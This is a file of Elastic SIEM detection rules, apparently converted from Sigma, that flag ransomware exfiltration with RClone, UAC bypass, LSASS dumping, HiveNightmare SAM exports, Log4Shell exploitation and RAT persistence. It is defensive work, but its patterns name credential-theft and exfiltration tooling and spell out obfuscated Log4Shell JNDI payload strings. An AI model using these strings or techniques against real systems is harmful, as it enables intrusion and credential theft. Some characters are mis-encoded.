{"description":"Detects execution of RClone utility for exfiltration as used by various ransomwares strains like REvil, Conti, FiveHands, etc Author: Bhabesh Raj, Sittikorn S. License: ","enabled":false,"false_positives":["Legitimate RClone use"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9a594996-f700-0738-d482-9b76bdac1312","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"RClone Execution","query":"(winlog.event_data.Description:\"Rsync\\ for\\ cloud\\ storage\" OR (process.command_line:*\\-\\-config\\ * AND process.command_line:*\\-\\-no\\-check\\-certificate\\ * AND process.command_line:*\\ copy\\ *) OR (process.executable:*\\\\rclone.exe AND process.command_line:(*mega* OR *pcloud* OR *ftp* OR *\\-\\-progress* OR *\\-\\-ignore\\-existing* OR *\\-\\-auto\\-confirm* OR *\\-\\-transfers* OR *\\-\\-multi\\-thread\\-streams*)))","meta":{"from":"1m"},"severity":"high","tags":["T1567"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0010","reference":"","name":"Exfiltration"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1567","name":"Exfiltration Over Web Service","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects execution of renamed paexec via imphash and executable product string Author: Jason Lynch. License: ","enabled":false,"false_positives":["Unknown imphashes"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7b0666ad-3e38-4e3d-9bab-78b06de85f7b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Execution of Renamed PaExec","query":"((Product:*PAExec* AND winlog.event_data.Imphash:(\"11D40A7B7876288F919AB819CC2D9802\" OR \"6444f8a34e99b8f7d9647de66aabe516\" OR \"dfd6aa3f7b2b1035b76b718f1ddc689f\" OR \"1a6cca4d5460b1710a12dea39e4a592c\")) AND (NOT (process.executable:*paexec*)))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects execution of the Notepad++ updater in a suspicious directory, which is often used in DLL side-loading attacks Author: Florian Roth. License: ","enabled":false,"false_positives":["Execution of tools named GUP.exe and located in folders different than Notepad++\\updater"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0a4f6091-223b-41f6-8743-f322ec84930b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious GUP Usage","query":"(process.executable:*\\\\GUP.exe AND (NOT (process.executable:(*\\\\Users\\\\*\\\\AppData\\\\Local\\\\Notepad\\+\\+\\\\updater\\\\GUP.exe OR *\\\\Users\\\\*\\\\AppData\\\\Roaming\\\\Notepad\\+\\+\\\\updater\\\\GUP.exe OR *\\\\Program\\ Files\\\\Notepad\\+\\+\\\\updater\\\\GUP.exe OR *\\\\Program\\ Files\\ \$x86\$\\\\Notepad\\+\\+\\\\updater\\\\GUP.exe))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects execution of UACMe (a tool used for UAC bypass) via default PE metadata Author: Christian Burkard. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a2406179-57f3-6f35-3619-d50beeace34e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"UAC Bypass Tool UACMe","query":"(Product:\"UACMe\" OR Company:\"REvol\\ Corp\" OR winlog.event_data.OriginalFileName:\"Akagi.exe\")","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Execution via runAfterCancelProcess in CL_Mutexverifiers.ps1 module Author: oscd.community, Natalia Shornikova. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"99465c8f-f102-4157-b11c-b0cddd53b79a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Execution via CL_Mutexverifiers.ps1","query":"(process.command_line:*CL_Mutexverifiers.ps1* AND process.command_line:*runAfterCancelProcess*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1216"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1216","name":"Signed Script Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Execution via SyncInvoke in CL_Invocation.ps1 module Author: oscd.community, Natalia Shornikova. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a0459f02-ac51-4c09-b511-b8c9203fc429","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Execution via CL_Invocation.ps1","query":"(process.command_line:*CL_Invocation.ps1* AND process.command_line:*SyncInvoke*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1216"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1216","name":"Signed Script Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 (Log4Shell) Author: Florian Roth. License: ","enabled":false,"false_positives":["Vulnerability scanning"],"filters":[],"from":"now-360s","immutable":false,"index":["filebeat-*"],"interval":"5m","rule_id":"2b37380c-280c-7946-42ab-5ba2b561aff7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Log4j RCE CVE-2021-44228 Generic","query":"(*$\\{jndi\\:ldap\\:\\/* OR *$\\{jndi\\:rmi\\:\\/* OR *$\\{jndi\\:ldaps\\:\\/* OR *$\\{jndi\\:dns\\:\\/* OR *\\/$%7bjndi\\:* OR *%24%7bjndi\\:* OR *$%7Bjndi\\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\\{jndi\\:$\\{lower\\:* OR *$\\{\\:\\:\\-j\\}$\\{* OR *$\\{jndi\\:nis* OR *$\\{jndi\\:nds* OR *$\\{jndi\\:corba* OR *$\\{jndi\\:iiop* OR *Reference\\ Class\\ Name\\:\\ foo* OR *$\\{$\\{env\\:BARFOO\\:\\-j\\}* OR *$\\{\\:\\:\\-l\\}$\\{\\:\\:\\-d\\}$\\{\\:\\:\\-a\\}$\\{\\:\\:\\-p\\}* OR *$\\{base64\\:JHtqbmRp* OR *$\\{$\\{env\\:ENV_NAME\\:\\-j\\}ndi$\\{env\\:ENV_NAME\\:\\-\\:\\}$* OR *$\\{$\\{lower\\:j\\}ndi\\:* OR *$\\{$\\{upper\\:j\\}ndi\\:* OR *$\\{$\\{\\:\\:\\-j\\}$\\{\\:\\:\\-n\\}$\\{\\:\\:\\-d\\}$\\{\\:\\:\\-i\\}\\:*)","meta":{"from":"1m"},"severity":"high","tags":["Initial Access","T1190"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0001","reference":"","name":"Initial Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1190","name":"Exploit Public-Facing Application","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects exploitation attempt of privilege escalation vulnerability via SetupComplete.cmd and PartnerSetupComplete.cmd described in CVE-2019-1378 Author: Florian Roth, oscd.community, Jonhnathan Ribeiro. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1c373b6d-76ce-4553-997d-8c1da9a6b5f5","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Exploiting SetupComplete.cmd CVE-2019-1378","query":"((process.parent.command_line:*\\\\cmd.exe* AND process.parent.command_line:*\\/c* AND process.parent.command_line:*C\\:\\\\Windows\\\\Setup\\\\Scripts\\\\* AND process.parent.command_line:(*SetupComplete.cmd OR *PartnerSetupComplete.cmd)) AND (NOT (process.executable:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\* OR C\\:\\\\Windows\\\\WinSxS\\\\* OR C\\:\\\\Windows\\\\Setup\\\\*))))","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1059","T1068","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1068","name":"Exploitation for Privilege Escalation","reference":""},{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects exploitation of DNS RCE bug reported in CVE-2020-1350 by the detection of suspicious sub process Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown but benign sub processes of the Windows DNS service dns.exe"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0d5399a8-a3ab-deb1-f315-a50443577d43","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"DNS RCE CVE-2020-1350","query":"(process.parent.executable:*\\\\System32\\\\dns.exe AND (NOT (process.executable:(*\\\\System32\\\\werfault.exe OR *\\\\System32\\\\conhost.exe OR *\\\\System32\\\\dnscmd.exe))))","meta":{"from":"1m"},"severity":"critical","tags":["Initial Access","T1190","T1569"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0001","reference":"","name":"Initial Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1190","name":"Exploit Public-Facing Application","reference":""}]},{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1569","name":"System Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects exploitation of vulnerabilities in Arcadyan routers as reported in CVE-2021-20090 and CVE-2021-20091. Author: Bhabesh Raj. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["filebeat-*"],"interval":"5m","rule_id":"f53dfaee-9ddc-db8e-222d-3a5ea9e47f28","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Arcadyan Router Exploitations","query":"((url.original:*..%2f* OR (url.original:*..%2f* AND url.original:*apply_abstract.cgi*)) AND url.original:(*\\/images\\/* OR *\\/js\\/* OR *\\/css\\/* OR *\\/setup_top_login.htm* OR *\\/login.html* OR *\\/loginerror.html* OR *\\/loginexclude.html* OR *\\/loginlock.html*))","meta":{"from":"1m"},"severity":"critical","tags":["Initial Access","T1190"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0001","reference":"","name":"Initial Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1190","name":"Exploit Public-Facing Application","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects exploits that use CVE-2017-11882 to start EQNEDT32.EXE and other sub processes like mshta.exe Author: Florian Roth. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"678eb5f4-8597-4be6-8be7-905e4234b53a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Droppers Exploiting CVE-2017-11882","query":"process.parent.executable:*\\\\EQNEDT32.EXE","meta":{"from":"1m"},"severity":"critical","tags":["Initial Access","T1203","T1204","T1566"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0001","reference":"","name":"Initial Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1566","name":"Phishing","reference":""}]},{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1203","name":"Exploitation for Client Execution","reference":""},{"id":"T1204","name":"User Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects file creation patterns noticeable during the exploitation of CVE-2021-40444 Author: Florian Roth, Sittikorn S. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"79c9850f-3586-7bc2-38c2-28b354a7c373","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Suspicious Word Cab File Write CVE-2021-40444","query":"(process.executable:\"\\\\winword.exe\" AND ((file.path:*.cab AND file.path:*\\\\Windows\\\\INetCache*) OR (file.path:*\\\\AppData\\\\Local\\\\Temp\\\\* AND file.path:*.inf*)))","meta":{"from":"1m"},"severity":"critical","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects file deletion commands Author: Ã–mer GÃ¼nal, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"30aed7b6-d2c1-4eaf-9382-b6bc43e50c57","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"File Deletion","query":"process.executable:(*\\/rm OR *\\/shred)","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","T1070"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1070","name":"Indicator Removal on Host","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects file execution using the msdeploy.exe lolbin Author: Beyu Denis, oscd.community. License: ","enabled":false,"false_positives":["System administrator Usage","Penetration test"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"646bc99f-6682-4b47-a73a-17b1b64c9d34","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Execute Files with Msdeploy.exe","query":"(process.command_line:*verb\\:sync* AND process.command_line:*\\-source\\:RunCommand* AND process.command_line:*\\-dest\\:runCommand* AND process.executable:*\\\\msdeploy.exe)","meta":{"from":"1m"},"severity":"medium","tags":["T1218"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects file names used by different memory dumping tools to create a memory dump of the LSASS process memory, which contains user credentials Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"deef0543-e991-20f9-9cec-c0a1ddae613b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"LSASS Process Memory Dump Files","query":"(file.path:(*\\\\lsass.dmp OR *\\\\lsass.zip OR *\\\\lsass.rar OR *\\\\Temp\\\\dumpert.dmp) OR file.path:(*\\\\lsass_2* OR *\\\\lsassdump* OR *\\\\lsassdmp*) OR (file.path:*\\\\lsass* AND file.path:*.dmp*))","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects file writes of WMI script event consumer Author: Thomas Patzke. License: ","enabled":false,"false_positives":["Dell Power Manager (C:\\Program Files\\Dell\\PowerManager\\DpmPowerPlanSetup.exe)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2a229e89-1aff-d0df-c0b0-2def6000795f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"WMI Persistence - Script Event Consumer File Write","query":"process.executable:\"C\\:\\\\WINDOWS\\\\system32\\\\wbem\\\\scrcons.exe\"","meta":{"from":"1m"},"severity":"high","tags":["T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects files written by the different tools that exploit HiveNightmare Author: Florian Roth. License: ","enabled":false,"false_positives":["Files that accidentally contain these strings"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"450b4470-cd05-dd9c-4537-b5fc70eb2de7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Typical HiveNightmare SAM File Export","query":"(file.path:(*\\\\hive_sam_* OR *\\\\SAM\\-2021\\-* OR *\\\\SAM\\-2022\\-* OR *\\\\SAM\\-haxx* OR *\\\\Sam.save*) OR file.path:\"C\\:\\\\windows\\\\temp\\\\sam\")","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1552"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1552","name":"Unsecured Credentials","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects flags often used with the LOLBAS Esentutl for malicious activity. It could be used in rare cases by administrators to access locked files or during maintenance. Author: Florian Roth. License: ","enabled":false,"false_positives":["Administrative activity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d6409cf4-6b00-43ee-0e8e-524ac6e58ab1","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Esentutl Use","query":"(process.command_line:*\\ \\/vss\\ * AND process.command_line:*\\ \\/y\\ *)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Formbook like process executions that inject code into a set of files in the System32 folder, which executes a special command command line to delete the dropper from the AppData Temp folder. We avoid false positives by excluding all parent process with command line parameters. Author: Florian Roth, oscd.community, Jonhnathan Ribeiro. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"032f5fb3-d959-41a5-9263-4173c802dc2b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Formbook Process Creation","query":"(process.parent.command_line:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\*) AND process.parent.command_line:*.exe AND process.command_line:*C\\:\\\\Users\\\\* AND ((process.command_line:*\\/c* AND process.command_line:*del* AND process.command_line:*\\\\AppData\\\\Local\\\\Temp\\\\*) OR (process.command_line:*\\/c* AND process.command_line:*del* AND process.command_line:*\\\\Desktop\\\\*) OR (process.command_line:*\\/C* AND process.command_line:*type\\ nul\\ >* AND process.command_line:*\\\\Desktop\\\\*)) AND process.command_line:*.exe)","meta":{"from":"1m"},"severity":"critical","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects Golden Chickens deployment method as used by Evilnum in report published in July 2020 Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ddb4fe1a-6cd2-0be3-8c52-b447a37a2439","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"EvilNum Golden Chickens Deployment via OCX Files","query":"(process.command_line:*regsvr32* AND process.command_line:*\\/s* AND process.command_line:*\\/i* AND process.command_line:*\\\\AppData\\\\Roaming\\\\* AND process.command_line:*.ocx*)","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Hurricane Panda Activity Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0eb2107b-a596-422e-b123-b389d5594ed7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Hurricane Panda Activity","query":"((process.command_line:*localgroup* AND process.command_line:*admin* AND process.command_line:*\\/add*) OR process.command_line:*\\\\Win64.exe*)","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1068"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1068","name":"Exploitation for Privilege Escalation","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects indicators of a UAC bypass method by mocking directories Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ebd39796-3ece-c2af-9a46-fec3d8e7a08f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"TrustedPath UAC Bypass Pattern","query":"process.executable:*C\\:\\\\Windows\\ \\\\System32\\\\*","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects installation of a new shim using sdbinst.exe. A shim can be used to load malicious DLLs into applications. Author: Markus Neis. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"517490a7-115a-48c6-8862-1a481504d5a8","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Possible Shim Database Persistence via sdbinst.exe","query":"((process.executable:*\\\\sdbinst.exe AND process.command_line:*.sdb*) AND (NOT (process.command_line:*iisexpressshim.sdb*)))","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects installation of NalDrv or PROCEXP152 services via registry-keys to non-system32 folders. Both services are used in the tool Ghost-In-The-Logs (), which uses KDU () Author: xknow (@xknow_infosec), xorxes (@xor_xes). License: ","enabled":false,"false_positives":["Other legimate tools using this service names and drivers. Note - clever attackers may easily bypass this detection by just renaming the services. Therefore just Medium-level and don't rely on it."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"984afd12-d24d-9d5a-ee6b-dd914d4ad50a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Service Installed","query":"(((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(\"HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\NalDrv\\\\ImagePath\" OR \"HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\PROCEXP152\\\\ImagePath\")) AND (NOT (process.executable:(*\\\\procexp64.exe OR *\\\\procexp.exe OR *\\\\procmon64.exe OR *\\\\procmon.exe)))) AND (NOT (winlog.event_data.Details:*\\\\WINDOWS\\\\system32\\\\Drivers\\\\PROCEXP152.SYS*)))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects installed new certificate Author: Ã–mer GÃ¼nal, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"78a80655-a51e-4669-bc6b-e9d206a462ee","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Install Root Certificate","query":"process.executable:(*\\/update\\-ca\\-certificates OR *\\/update\\-ca\\-trust)","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","T1553"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1553","name":"Subvert Trust Controls","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects interactive console logons to Server Systems Author: Florian Roth. License: ","enabled":false,"false_positives":["Administrative activity via KVM or ILO board"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"228777c4-c10a-7090-8198-ba2a77b6a63e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Interactive Logon to Server Systems","query":"(winlog.channel:\"Security\" AND (winlog.event_id:(\"528\" OR \"529\" OR \"4624\" OR \"4625\") AND winlog.event_data.LogonType:\"2\" AND winlog.ComputerName:(\"%ServerSystems%\" OR \"%DomainControllers%\")) AND (NOT (winlog.event_data.LogonProcessName:\"Advapi\" AND winlog.ComputerName:\"%Workstations%\")))","meta":{"from":"1m"},"severity":"medium","tags":["Lateral Movement","T1078"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects invocation of Microsoft Workflow Compiler, which may permit the execution of arbitrary unsigned code. Author: Nik Seetharaman, frack113. License: ","enabled":false,"false_positives":["Legitimate MWC use (unlikely in modern enterprise environments)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"419dbf2b-8a9b-4bea-bf99-7544b050ec8d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Microsoft Workflow Compiler","query":"(process.executable:*\\\\Microsoft.Workflow.Compiler.exe OR (winlog.event_data.OriginalFileName:\"Microsoft.Workflow.Compiler.exe\" AND process.command_line:*.xml*))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1127","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1127","name":"Trusted Developer Utilities Proxy Execution","reference":""},{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects javaw.exe in AppData folder as used by Adwind / JRAT Author: Florian Roth, Tom Ueltschi, Jonhnathan Ribeiro, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"be675127-66dc-0d60-ec3a-8e0fc9204b64","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Adwind RAT / JRAT","query":"((file.path:*\\\\AppData\\\\Roaming\\\\Oracle\\\\bin\\\\java* AND file.path:*.exe*) OR (file.path:*\\\\Retrive* AND file.path:*.vbs*))","meta":{"from":"1m"},"severity":"high","tags":["T1059","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""},{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects javaw.exe in AppData folder as used by Adwind / JRAT Author: Florian Roth, Tom Ueltschi, Jonhnathan Ribeiro, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"be675127-66dc-0d60-ec3a-8e0fc9204b64","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Adwind RAT / JRAT","query":"(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run* AND winlog.event_data.Details:%AppData%\\\\Roaming\\\\Oracle\\\\bin\\\\*)","meta":{"from":"1m"},"severity":"high","tags":["T1059","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""},{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
